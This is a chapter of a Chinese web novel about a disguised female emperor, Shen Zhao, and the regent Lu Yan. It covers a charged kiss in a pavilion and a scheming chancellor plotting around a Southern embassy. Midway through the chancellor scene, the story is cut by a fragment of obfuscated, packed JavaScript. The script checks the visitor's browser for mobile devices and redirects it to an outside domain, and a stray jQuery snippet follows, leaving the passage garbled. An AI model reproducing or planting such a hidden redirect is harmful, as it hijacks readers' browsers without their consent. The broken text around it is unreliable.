陆衍质问完便猛地逼近一步,高大的身影将沈昭完全笼罩在阴影里,他身上清冽的沉水香强势地侵入她的感官。
他没有像以前那样失控地触碰她,只是那双翻涌着暗流的眼睛紧紧盯着她,距离近得能看清她颤抖的睫毛。
“你明知道……”他的声音压得极低,带着一种压抑到极致的执拗,“你明知道我对你……你却还要这样!”
他微微低下头,薄唇几乎要贴上她的耳廓,声音喑哑,激起层层叠叠的心悸,“沈昭,看着我……你看着我……”
水榭的灯火在他背后跳跃,将他轮廓分明的侧脸映得忽明忽暗,那双紧盯着她的眼睛里,委屈、愤怒、不甘和深沉的渴望交织翻涌,几乎要将她吞噬。
沈昭的心跳,在他那灼人的目光下不受控制地骤然加速,她咬紧下唇,别开脸,试图避开他几乎要将她灵魂都看穿的眼神。
水榭里只剩一盏将熄未熄的灯,荷叶灯罩被夜风拨得轻轻转,灯影在两人之间摇出一圈又一圈碎金。
沈昭背抵阑干,被陆衍逼在他身躯投下的阴影里,清冽的香混合着淡淡的酒气,强势地包裹着她,灼热得几乎要将她烫伤。
“陆衍你……”
沈昭被他眼中那浓烈的受伤刺得心头一悸,那点因他擅闯而激起的怒火,此刻被一种更复杂的情绪覆盖。
她想反驳,想斥责他的无理取闹,但他的话却像刺一样扎得她莫名心虚。
她与苏逸之的确清清白白,可她的默许,那番剖白,腕间的触碰,在陆衍此刻的目光下,竟显得格外暧昧不清。
她别开脸,声音带着强撑的冷硬,却泄露出了一丝不易察觉的颤抖,“朕说了,是在议事!你休要胡搅蛮缠!放开朕!”
“放开?”
陆衍低笑一声,他非但没有退开,反而俯身更低,温热的呼吸几乎拂过她的唇瓣,“陛下总是嫌臣碍事,方才苏逸之靠得那么近,陛下怎么不叫他放开?”
“陆衍,你到底闹够了没有?!”
陆衍微微垂眼,指腹轻蹭过她唇角因怒气而咬出的浅痕,“怎么会够呢?不够。”
“陛下赶走了臣那么久,今晚又让臣看到这一幕,臣心里难受,委屈得紧。”
他顿了顿,感受着她身体瞬间的僵硬,在唇与唇将触未触的罅隙里低声问,“陛下是不是该给臣一点……补偿?”
那“补偿”二字,被他含在唇齿间,百般旖旎,带着无限暧昧的遐思。
不再是强势的逼问,而是示弱般的索取,将他所有的情绪都包裹在这份带着引诱的讨要之中。
话音未落,陆衍便俯身,齿尖轻轻叼住她下唇,沈昭指尖抵在他胸口,隔着衣料仍能触到那急促的心跳。
震耳欲聋,像擂鼓,又像困兽。
“唔……”
细碎的呜咽被尽数吞没。
沈昭原是想推开陆衍的,可浑身发软,力气仿佛被这绵长而深入的吻抽干了,连指尖都带着细微的颤抖。
她被迫承受,在他舌尖尝到熟悉的一点辛辣的酒味。
是她方才喝过的酒,熟悉的涩感被他渡回来,混合着他更炽热的气息,苦涩里竟尝出了一丝陌生的甜意,烧得她眼眶微涩。
似乎是察觉到了她的不适,陆衍颇有些不舍地退开些许,额头却仍抵着她的,灼热的呼吸交织在一起,听着她不稳的呼吸声。
那双潋滟的桃花眼里翻涌的情绪未完全褪去,却又被另一种更灼热的餍足覆盖。
陆衍低眸看着沈昭染上绯红的脸颊和迷离的凤眸,喉结滚动了一下,指腹带着滚烫的温度,轻轻蹭过她被吻得湿润的唇瓣,心痒难耐间,又忍不住凑上去,蜻蜓点水般轻啄。
沈昭只觉得脑海中一片空白,只剩下唇上柔软温热的触感,一下又一下。
熟悉又陌生的吻,一次又一次霸道地侵占她所有的感官,不留一点余地。
沈昭猛地回过神,被他狎昵的动作激得浑身一颤,残留的酥麻感瞬间被羞恼取代。
她用力一把推开他,力道让陆衍猝不及防地后退了半步。
“陆衍你放肆!”沈昭的声音带着喘息后的微哑,却努力拔高,试图找回威严。
她用手背狠狠擦了一下嘴唇,仿佛要擦掉他留下的所有痕迹,脸颊却更红了,在昏暗摇曳的灯火下无所遁形,“陆衍!你……你简直是胆大包天!”
半晌,陆衍那双妖冶的桃花眼微微睁大,随即弯成了愉悦的月牙,唇角抑制不住地上扬,露出一个足以颠倒众生的笑容。
“阿昭,我……”
“心悦你”三个字还未出口,水榭帘外沉璧略微着急的声音便传了进来。
“陛下,有南国使臣的急信。”
*
“你说南国的来信中说,他们的使臣三日后便会抵达上京?”
丞相府深处的密室里,案上摊着一张密笺,灯火只点了一盏,照得严琢半张脸陷在阴影里,面色阴沉。
一旁的幕僚连忙回道,“回相爷,南国使团已在路上,按行程,三日后便可抵达,想必宫里也收到消息了。”
“来的是南国四皇子与五公主,携‘议和’之名,实则……”
幕僚的话还未说完,严琢已抬手止住,眼底浮起一点森冷的笑意。
“既是议和,便该有议和的诚意,想必我们深藏不露的小陛下,会喜欢老夫送他的这份大礼。”
严琢本就记仇,更遑论贪墨一案,沈昭让他吃了这么大一个亏,好不容易养熟的狗没了,任谁都不会轻易翻过这一页。
严琢的脸色还是极差,厚重的紫檀木书案被拍得一声巨响,震得案头的笔架都跳了跳。
他额角青筋隐隐跳动,再不见平日里的老成持重,“沈昭不足挂齿,这次在他这里栽了跟头是他运气好,倒是陆衍,打的一手好太极!”
他咬牙切齿,声音从齿缝里挤出来,带着被愚弄的狂怒,“老夫几次三番暗示,话都递到他嘴边了!他倒好!给我装聋作哑,顾左右而言他!”
“一会儿说‘臣子当谨守本分’,一会儿又扯‘江南水患方平,当以社稷安稳为重’!说这些话的时候自己不觉得可笑吗?!”
他面前站着的心腹幕僚垂首屏息,大气都不敢出。
这已经是严琢几次在陆衍那里碰壁了,无数次暗地里表忠心,却被陆衍耍的团团转,看似听了很多说了很多,细究下去全是废话。
“他这是把老夫当成猴耍!”严琢猛地抓起手边一个上好的白瓷茶盏,狠狠摔在地上。
“啪嚓”一声脆响,瓷片四溅,滚烫的茶水洇湿了昂贵的地毯。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241260|181539||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“竖子狂妄,他陆衍当真以为自己权倾朝野,就可以高枕无忧,不需要盟友了?还是他以为老夫动不了他?!”
幕僚观察着严琢的脸色,小心翼翼地开口,“相爷息怒,那摄政王心思深沉,此举或许是在待价而沽?亦或是……忌惮陛下?”
“忌惮沈昭?”严琢冷笑一声,眼神无比阴鸷,“他陆衍什么时候真正忌惮过那个小皇帝?他是在观望!在权衡!想看老夫能拿出多少筹码!这个狼崽子,比他爹还难缠!”
“陆盛好歹还图那个位置,他呢?装模作样自以为是,真以为披着件人皮,就没人知道他骨子里流的什么血了?”
“佞臣就是佞臣!”
严琢烦躁地在阴冷的密室里踱步,玄色的官袍下摆带起一阵冷风。
半晌,他停下脚步,眼中精光闪烁,啐了一口,“他陆衍想把自己摘干净,老夫偏不如他的愿,这次就借南国的刀,把这潭水彻底搅浑!”
严琢冷然地嗤笑一声,”陆衍和陆盛一样,无论怎样伪装,都脏到了骨子里。“
*
“南国的四皇子南影安,开阳公主南思雨?”
水榭中方才旖旎的气氛因为沉璧的打断烟消云散,沈昭看了信笺后微微蹙眉,坐在一旁独自饮酒的陆衍不禁挑眉。
“传闻中,这个南影安暴虐成性、喜好男色,南思雨娇气跋扈,都不是好对付的主。”
陆衍懒懒地靠着阑干,语气随意,眼底残留着对沉璧打断的不满,但气色极好,看着沈昭的眼神中还带着灼热的余温。
这副得了便宜还卖乖的模样,看得沈昭更是气结。
她将手中的信笺折起,没有要给陆衍看的意思。
那张信封由南国特有的桑皮纸制成,坚韧而微黄,盖着一个形似盘蛇衔尾的火漆印。
“陛下,南国嘴上说要议和,却派了这么两个人来,真实意图可见一斑。”
沉璧立在一旁,剑眉微皱。
沈昭也想到了这点,心下了然,也不再多言。
她将信纸凑近烛火,微黄的纸张在火焰中蜷曲,最终化为灰烬,飘落下来。
“这滩浑水,看来是不得不蹚了。”
沈昭的声音平静无波,指尖轻捻两下,将上面的余烬除尽。
陆衍脸上的慵懒笑意收敛了几分,他缓缓开口,“浑水未必不好,只有水浑了,才能看清哪些是鱼,哪些是想吃鱼的水鬼。”
他微微倾身,将两人间的距离再次拉近,声音带着细微的蛊惑,“陛下与其担心水浑,不如想想,如何让这搅水的人自食恶果。”
沈昭偏头,迎上陆衍深邃的目光,语气恢复了帝王的清冷,仿佛刚才那个被他吻得浑身发软的人不是她,“摄政王说得倒是轻巧。”
陆衍笑了,勾魂摄魄的模样映入沈昭的眼睛,他语气轻佻,倒是不甚在意还有沉璧在场,“那陛下想不想……也这么轻巧?”
沈昭凤眼微眯,唇角牵起一个极冷的弧度,“摄政王此话怎讲?”
“自然是……”
陆衍却故意吊她胃口,修长的手指伸出来勾了勾,沈昭深吸一口气,附耳过去。
温热的呼吸萦绕在耳廓,一阵痒意窜起,迅速席卷了全身,低醇的嗓音撩人。
“看他们狗咬狗……才有意思啊。”